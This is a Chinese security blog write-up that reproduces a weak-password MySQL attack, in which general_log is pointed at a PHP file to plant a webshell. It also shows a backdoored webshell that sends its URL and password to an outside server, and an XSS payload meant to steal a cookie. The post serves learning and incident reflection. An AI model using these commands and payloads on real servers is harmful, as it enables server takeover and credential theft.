复现一下昨天自己服务器被攻击的思路

昨天疲惫的回到办公室,手机上推送过来一条消息“您的服务器被黑客攻击,存在文件webshell.php”,啊我寻思着没在这个服务器上做实验啊,于是赶快去查看这个文件,查看日志,在MySQL日志里面看到了奇怪的记录,如图。

奇怪的日志

看到这里明白了,这个服务器虽然没开上传文件的操作,但是我的MySQL是弱密码(已经改了这次长教训了),登进去我的SQL服务后,首先打开MySQL的日志记录选项,然后更改日志记录文件为网站根目录下的后缀为php的文件,于是输入一句带有木马代码的查询语句,webshell植入成功,蚁剑连接,直接拿下,还是管理员权限(哭~~~)。

现在复现一下攻击的具体过程:

1.利用弱密码登录MySQL,这里我直接登录phpmyadmin了。

phpmyadmin

2.进入SQL命令行输入以下语句

show variables like '%general%';  #查看配置
set global general_log = on;  #开启general log
set global general_log_file = 'C:/phpstudy/PHPTutorial/WWW/1.php';   #设置日志目录为shell地址
select '<?php eval($_POST[cmd]);?>'  #写入shell

3.这样就成功间接的把后门脚本写入了服务器,使用蚁剑连接,可以看到成功获取服务器权限。

蚁剑连接成功

就是这样,纪念一下人生第一次被黑客攻击,同时也学到了新知识,不亏不亏。

WebShell中的后门,木马里的木马

学习小迪师傅的教程看到的这块内容,感觉挺有意思的,复现记录一下。哔哩哔哩教程链接:https://www.bilibili.com/video/BV1JZ4y1c7ro?t=2081&p=25

场景1:hacker精心设计,等待上钩

hacker在自己服务器上部署好了webshell箱子网站,然后写了一段天下无敌一切免杀的木马(这里实力不济就用最简单的一句话木马代替了)。

贴上后门代码:

<?php
$pass='c';
@eval($_POST[$pass]);
$u=$_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"];
echo "<script src='http://192.168.100.132/api.asp?url=$u&pass=$pass'></script>";
?>

可以看到除了基本的webshell功能以外,hacker在里面还添加了一句JavaScript语句,目的是向他的服务器发送当前后门所在链接以及登录密码,接下来坐收渔翁之利。

场景2:小李误用后门shell落入圈套

小李有一天下载到了这个有后门的webshell后门,在没有检查的情况下利用某个网站的文件上传漏洞将此php后门上传到了服务器中,通过蚁剑成功连接,十分开心。

蚁剑登录界面

于此同时hacker的webshell箱子也收到了信息,获得了该网站的后门地址以及登录密码。

后门地址和登录密码

场景3:问题发现以及利用XSS反杀hacker

首先按F12抓包并且访问该后门地址,如图可以看到除了本来要发的webshell.php,还多了一个奇怪的数据包。

F12抓取的数据包
数据包具体内容

可以看到这个奇怪的数据包向另一个服务器发起了get请求,并且附带了后门地址url和登录密码pass两个参数,由此可以察觉到了这个webshell是有后门的,为了演示方便采用的这个后门比较简单(技不如人写不出厉害的带后门webshell,但是这个原理应该就是这样)。

分析完原理开始反杀,burp抓包,更改访问参数为:

<sCRiPt/SrC=//xsshs.cn/taTi>

来使用XSS攻击hacker。(这里直接用XSS平台自动生成的代码来攻击获取Cookie了)

burp改包

理论上:成功获取Cookie,然后登录hacker后台

实际上:XSS怎么被过滤了呢,尖括号和等号都没了,如图URL那里确实是被过滤了,但是密码那里的的确确是插进去了,而且抓包也有访问成功xsshs.cn的包并且成功返回200。

但是xss平台上却没有显示,我感觉应该是那个XSS平台的问题,或者就是这个webshell箱子加了防护措施了,不过整体思路就是这样。